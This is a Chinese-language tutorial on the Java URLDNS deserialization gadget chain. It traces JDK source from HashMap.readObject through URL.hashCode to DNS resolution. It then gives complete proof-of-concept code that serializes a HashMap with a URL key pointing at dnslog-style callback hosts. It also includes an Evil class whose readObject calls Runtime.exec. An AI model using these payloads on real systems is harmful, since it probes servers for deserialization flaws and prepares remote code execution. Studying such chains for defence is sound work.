java反序列化之URLDNS链学习

一、前言

近来学习java反序列化，听p神所说这个URLDNS利用链比较好理解，故决定由此进入学习的第一篇。

URLDNS是Java反序列化中比较简单的一个链，由于URLDNS不需要依赖第三方的包，同时不限制jdk的版本，所以通常用于检测反序列化的点

URLDNS并不能执行命令，只能发送DNS请求

二、前置介绍

1、Java 序列化是指把 Java 对象转换为字节序列的过程。

ObjectOutputStream类的 writeObject() 方法可以实现序列化。

2、Java 反序列化是指把字节序列恢复为 Java 对象的过程。

ObjectInputStream 类的 readObject() 方法用于反序列化。

实现java.io.Serializable接口才可被反序列化，而且所有属性必须是可序列化的
(用transient 关键字修饰的属性除外，不参与序列化过程)

代码演示说明：

Person.java （需要序列化的类）

package com.company;

import java.io.Serializable;

public class Person  implements Serializable {
    private String name;
    public void setName(String name){
        this.name= name;
    }

    public String getName(){
        return name;
    }

}

Main.java（序列化和反序列化）

package com.company;

import java.io.*;

public class Main {

    public static void main(String[] args) throws Exception{
        Person person  = new  Person();
        person.setName("serTest");

        byte[] serializeData = serialize(person);
        FileOutputStream outstr = new FileOutputStream("person.bin");
        outstr.write(serializeData);
        outstr.close();
        Person person2 = (Person) unserialize(serializeData);
        System.out.println(person2.getName());
    }

    public static byte[] serialize(final Object obj) throws Exception{
        ByteArrayOutputStream btout  = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }

    public static Object  unserialize(final byte[] serialized) throws Exception{
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        return objIn.readObject();
    }
}

查看Person.bin文件：

根据序列化规范，aced代表java序列化数据的magic wordSTREAM_MAGIC,0005表示版本号STREAM_VERSION,73表示是一个对象TC_OBJECT,72表示这个对象的描述TC_CLASSDESC

3、Java中的反序列化readObject 支持 Override，如果开发者重写了这个readObject方法，Java在反序列化过程中会优先调用开发者重写的这个readObject方法，通常在利用中我们需要找一个落脚点也就是gadget，利用这个落脚点来执行我们的恶意操作

readobject反序列化利用点 + 利用链 + RCE触发点

自定义 readObject()方法示例：

Evil.java

package com.company;

import java.io.Serializable;

public class Evil implements Serializable {
    public String cmd;

    private void readObject(java.io.ObjectInputStream stream) throws Exception{
        stream.defaultReadObject();
        Runtime.getRuntime().exec(cmd);
    }
}

Main.java

package com.company;

import java.io.*;

public class Main {

    public static void main(String[] args) throws Exception{
        Evil evil = new Evil();
        evil.cmd = "calc.exe";

        byte[] serializeData = serialize(evil);
        unserialize(serializeData);
    }

    public static byte[] serialize(final Object obj) throws Exception{
        ByteArrayOutputStream btout  = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }

    public static Object  unserialize(final byte[] serialized) throws Exception{
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        return objIn.readObject();
    }
}

三、URLDNS利用链（测试java版本：1.8.0_261)

URLDNS链是java原生态的一条利用链, 通常用于存在反序列化漏洞进行验证的,因为是原生态,不存在什么版本限制.
HashMap结合URL触发DNS检查的思路.在实际过程中可以首先通过这个去判断服务器是否使用了readObject()以及能否执行.之后再用各种gadget去尝试RCE.
HashMap最早出现在JDK 1.2中, 底层基于散列算法实现.而正是因为在HashMap中,Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的.所以对于同一个Key, 在不同的JVM实现中计算得出的Hash值可能是不同的.因此,HashMap实现了自己的writeObject和readObject方法。该利用链具有如下特点：

不限制jdk版本，使用Java内置类，对第三方依赖没有要求
目标无回显，可以通过DNS请求来验证是否存在反序列化漏洞
URLDNS利用链，只能发起DNS请求，并不能进行其他利用

ysoserial中列出的Gadget:GitHub - frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

*   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()

URLDNS利用思路：

首先找到Sink:发起DNS请求的URL类hashCode方法

看谁能调用URL类的hashCode方法(找gadget),发现HashMap行(他重写了hashCode方法,执行了Map里面key的hashCode方法,HashMap而key的类型可以是URL类),而且HashMap的readObject方法直接调用了hashCode方法

EXP的思路就是创建一个HashMap,往里面丢一个URL当key,然后序列化它

在反序列化的时候自然就会执行HashMap的readObject->hashCode->URL的hashCode->DNS请求

原理分析

java.util.HashMap 重写了 readObject, 在反序列化时会调用 hash 函数计算 key 的 hashCode.而 java.net.URL 的 hashCode 在计算时会调用 getHostAddress 来解析域名, 从而发出 DNS 请求.

HashMap#readObject

对于HashMap这个类来说,他重载了readObject函数，我们知道，而在服务端对序列化数据进行反序列化时,会调用被序列化对象的readObject()方法。跟进查看一下readObject方法: 我们可以看到它重新计算了key的Hash

private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {// 读取传入的输入流，对传入的序列化数据进行反序列化
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();//调用 ObjectInputStream 的 defaultReadObject 方法，用于读取默认的序列化数据，包括阈值（忽略）、负载因子和其他隐藏信息。
        reinitialize();//重新初始化 HashMap，恢复到默认状态
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        s.readInt();                // 读取并忽略哈希表的桶的数量，这里是为了兼容不同版本的 HashMap。
        int mappings = s.readInt(); // 读取映射条目的数量（即 HashMap 的大小）
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                             mappings);
        else if (mappings > 0) { // (if zero, use defaults)
            // Size the table using given load factor only if within
            // range of 0.25...4.0
            //计算实际的负载因子，确保在0.25到4.0之间。
            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);

            // Check Map.Entry[].class since it's the nearest public type to
            // what we're actually creating.
            SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);//检查数组类型，确保能够正确创建 HashMap 中的数组
            @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

关注putVal方法，putVal是往HashMap中放入键值对的方法

    /**
     * Implements Map.put and related methods.
     *
     * @param hash hash for key
     * @param key the key
     * @param value the value to put
     * @param onlyIfAbsent if true, don't change existing value
     * @param evict if false, the table is in creation mode.
     * @return previous value, or null if none
     */
    final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
                   boolean evict) {
        Node<K,V>[] tab; Node<K,V> p; int n, i;//声明了一些变量，用于存储哈希表的数组、节点、数组长度以及索引。
        if ((tab = table) == null || (n = tab.length) == 0)//检查哈希表数组是否为空，如果为空，则进行初始化
            n = (tab = resize()).length;
        if ((p = tab[i = (n - 1) & hash]) == null)//根据键的哈希值计算索引位置，然后判断该位置是否为空，如果为空，则直接在该位置插入新节点。
            tab[i] = newNode(hash, key, value, null);
        else {//如果该位置已经有节点，则需要进行链表遍历或树节点遍历，找到合适的位置插入节点。
            Node<K,V> e; K k;
            if (p.hash == hash &&
                ((k = p.key) == key || (key != null && key.equals(k))))
                e = p;
            else if (p instanceof TreeNode)
                e = ((TreeNode<K,V>)p).putTreeVal(this, tab, hash, key, value);
            else {
                for (int binCount = 0; ; ++binCount) {
                    if ((e = p.next) == null) {
                        p.next = newNode(hash, key, value, null);
                        if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st
                            treeifyBin(tab, hash);
                        break;
                    }
                    if (e.hash == hash &&
                        ((k = e.key) == key || (key != null && key.equals(k))))
                        break;
                    p = e;
                }
            }
            if (e != null) { // existing mapping for key如果找到了相同的键，则更新该键对应的值，并返回原来的值
                V oldValue = e.value;
                if (!onlyIfAbsent || oldValue == null)
                    e.value = value;
                afterNodeAccess(e);
                return oldValue;
            }
        }
        ++modCount;
        if (++size > threshold)
            resize();
        afterNodeInsertion(evict);
        return null;
    }

这里调用了hash方法来处理key，跟进hash方法：

   static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

我们可以看到，它调用了key的hashcode函数，因此，如果要构造一条反序列化链条，我们需要找到实现了hashcode函数且传参可控的类；而可以被我们利用的类就是下面的URLDNS，那么跟进到这个类的hashCode()方法看下

URL#hashCode

java.net.URL.hashCode()

java.net.URL

public synchronized int hashCode() {  // synchronized 关键字修饰的方法为同步方法。当synchronized方法执行完或发生异常时，会自动释放锁。
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

当hashCode字段等于-1时会进行handler.hashCode(this)计算，跟进handler发现，定义是

java.net.URL 

transient URLStreamHandler handler; // transient 关键字，修饰Java序列化对象时，不需要序列化的属性

找到URLStreamHandler这个抽象类,查看它的hashcode实现,调用了getHostAddress函数,传参可控

java.net.URLStreamHandler
    
protected int hashCode(URL u) {
        int h = 0;

        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();

        // Generate the host part.
        InetAddress addr = getHostAddress(u);
        if (addr != null) {
            h += addr.hashCode();
        } else {
            String host = u.getHost();
            if (host != null)
                h += host.toLowerCase().hashCode();
        }

        // Generate the file part.
        String file = u.getFile();
        if (file != null)
            h += file.hashCode();

        // Generate the port part.
        if (u.getPort() == -1)
            h += getDefaultPort();
        else
            h += u.getPort();

        // Generate the ref part.
        String ref = u.getRef();
        if (ref != null)
            h += ref.hashCode();

        return h;
    }

跟进查看getHostAddress函数，u 是我们传入的url，在调用getHostAddress方法时，会进行dns查询。参数u是this 也就是URL类对象

java.net.URLStreamHandler   

protected synchronized InetAddress getHostAddress(URL u) {
        if (u.hostAddress != null)
            return u.hostAddress;

        String host = u.getHost();
        if (host == null || host.equals("")) {
            return null;
        } else {
            try {
                u.hostAddress = InetAddress.getByName(host);
            } catch (UnknownHostException ex) {
                return null;
            } catch (SecurityException se) {
                return null;
            }
        }
        return u.hostAddress;
    }

这是正面的分析，整个Gadget也比较清晰了

HashMap->readObject()
HashMap->hash()
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress.getByName()

利用（触发）

接上面，回到最开始的Hashmap#readObject方法

java.util.hashMap  

// Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);

key 是从K key = (K) s.readObject(); 这段代码，也是就是readObject中得到的，说明之前在writeObject会写入key

java.util.hashMap      

private void writeObject(java.io.ObjectOutputStream s)
        throws IOException {
        int buckets = capacity();
        // Write out the threshold, loadfactor, and any hidden stuff
        s.defaultWriteObject();
        s.writeInt(buckets);
        s.writeInt(size);
        internalWriteEntries(s);
    }

最后调用了internalWriteEntries 方法，跟进一下具体实现：

  java.util.hashMap  

  // Called only from writeObject, to ensure compatible ordering.
    void internalWriteEntries(java.io.ObjectOutputStream s) throws IOException {
        Node<K,V>[] tab;
        if (size > 0 && (tab = table) != null) {
            for (int i = 0; i < tab.length; ++i) {
                for (Node<K,V> e = tab[i]; e != null; e = e.next) {
                    s.writeObject(e.key);
                    s.writeObject(e.value);
                }
            }
        }
    }

这里的key以及value是从tab中取的，而tab的值为HashMap类中table的值。

HashMap 中table的定义

java.util.hashMap    
/**
     * The table, initialized on first use, and resized as
     * necessary. When allocated, length is always a power of two.
     * (We also tolerate length zero in some operations to allow
     * bootstrapping mechanics that are currently not needed.)
     */
//* 该表在第一次使用时初始化，并调整大小为必要的。 分配时，长度始终是 2 的幂。（在某些操作中我们还允许长度为零，以允许 目前不需要的引导机制。）
    transient Node<K,V>[] table;

想要修改table的值，就需要调用HashMap#put方法，而HashMap#put方法中也会对key调用一次hash方法，所以在这里就会产生第一次dns查询：

java.util.hashMap  

public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

ps：

HashMap 的 put 方法会改变 table 的值是因为它用于向哈希表中添加新的键值对。当调用 put 方法时，如果哈希表中已经存在相同的键，则会更新对应键的值；如果哈希表中不存在相同的键，则会添加新的键值对。

在 put 方法中，首先会根据键的哈希值计算出在数组中的索引位置，然后根据索引位置找到对应的存储桶。如果存储桶为空，表示该位置还没有键值对，直接将新的键值对插入其中即可；如果存储桶不为空，则需要遍历存储桶中的键值对，查找是否已经存在相同的键。如果存在相同的键，则更新对应的值；如果不存在相同的键，则将新的键值对插入到存储桶的末尾。

这个过程中涉及到对数组中存储桶的访问和修改，因此 put 方法会改变 table 的值。通过改变 table 中对应索引位置的存储桶，实现了对键值对的插入或更新操作。

为了避免这一次的dns查询（防止本机与目标机器发送的dns请求混淆），ysoserial 中使用SilentURLStreamHandler 方法，直接返回null，并不会像URLStreamHandler那样去调用一系列方法最终到getByName，因此也就不会触发dns查询了

static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }

除了这种方法还可以在本地生成payload时，将hashCode设置不为-1的其他值。

URL#hashCode

java.net.URL

public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

如果不为-1，那么直接返回了。也就不会进行handler.hashCode(this);这一步计算hashcode，也就没有之后的getByName，获取dns查询

java.net.URL
/**
     * The URLStreamHandler for this URL.
     */
    transient URLStreamHandler handler;

    /* Our hash code.
     * @serial
     */
    private int hashCode = -1;

而hashCode是通过private关键字进行修饰的（本类中可使用），可以通过反射来修改hashCode的值

package demo;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;

public class Main {
    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://7gjq24.dnslog.cn");
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); // 反射获取URL类中的hashCode
        f.setAccessible(true); // 绕过Java语言权限控制检查的权限
        f.set(url,123);
        System.out.println(url.hashCode());
        map.put(url,123); // 调用HashMap对象中的put方法，此时因为hashcode不为-1，不再触发dns查询

    }

}

整个Gadget可以实现，需要的条件说白了就是这个：

那个key，即URL类的对象的hashCode属性值为-1

考虑到最开始调用put()，虽然没有触发URLDNS，但是同样调用了hash()，导致了传入的URL类对象的哈希值被计算了一次，hashCode不再是-1了，因此还需要再修改它的hashCode属性。但是注意这个属性是private：
    private int hashCode = -1;
因此只能用反射：
        //Reflection
        Class clazz = Class.forName("java.net.URL");
        Field field = clazz.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(u,-1);

完整的利用poc如下：

package com.company;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class testdemo {
    public static void main(String[] args) throws Exception{
        HashMap map = new HashMap();
        URL url = new URL("http://12345.40f400e994.ipv6.1433.eu.org.");
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        f.setAccessible(true);
        f.set(url,123);
        System.out.println(url.hashCode());
        map.put(url,123);
        f.set(url,-1);

        try{
            FileOutputStream  fos = new FileOutputStream("urldns.ser");
            ObjectOutputStream oos = new ObjectOutputStream(fos);

            oos.writeObject(map);
            oos.close();
            fos.close();

            FileInputStream fis = new FileInputStream("urldns.ser");
            ObjectInputStream ois = new ObjectInputStream(fis);
            ois.readObject();
            ois.close();
            fis.close();
        }catch(Exception e){
            e.printStackTrace();

        }

    }
}

使用ysoserial的poc：

package com.company;

import java.io.*;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;

public class URLDNS {
    public static void main(String[] args) throws Exception {
        HashMap  ht = new HashMap();
        String url = "http://ttttt.9ea296042a.ipv6.1433.eu.org.";
        URLStreamHandler handler = new TestURLStreamHandler();
        URL u = new URL(null, url, handler);
        ht.put(u,url);

        //Reflection
        Class clazz = Class.forName("java.net.URL");
        Field field = clazz.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(u,-1);

        byte[] bytes = serialize(ht);
        unserialize(bytes);
    }

    public static byte[] serialize(Object o) throws Exception{
        ByteArrayOutputStream bout = new ByteArrayOutputStream();
        ObjectOutputStream oout = new ObjectOutputStream(bout);
        oout.writeObject(o);
        byte[] bytes = bout.toByteArray();
        oout.close();
        bout.close();
        return bytes;
    }

    public static Object unserialize(byte[] bytes) throws Exception{
        ByteArrayInputStream bin = new ByteArrayInputStream(bytes);
        ObjectInputStream oin = new ObjectInputStream(bin);
        return oin.readObject();
    }
}

class TestURLStreamHandler extends URLStreamHandler{
    @Override
    protected URLConnection openConnection(URL u) throws IOException {
        return null;
    }
    @Override
    protected synchronized InetAddress getHostAddress(URL u){
        return null;
    }
}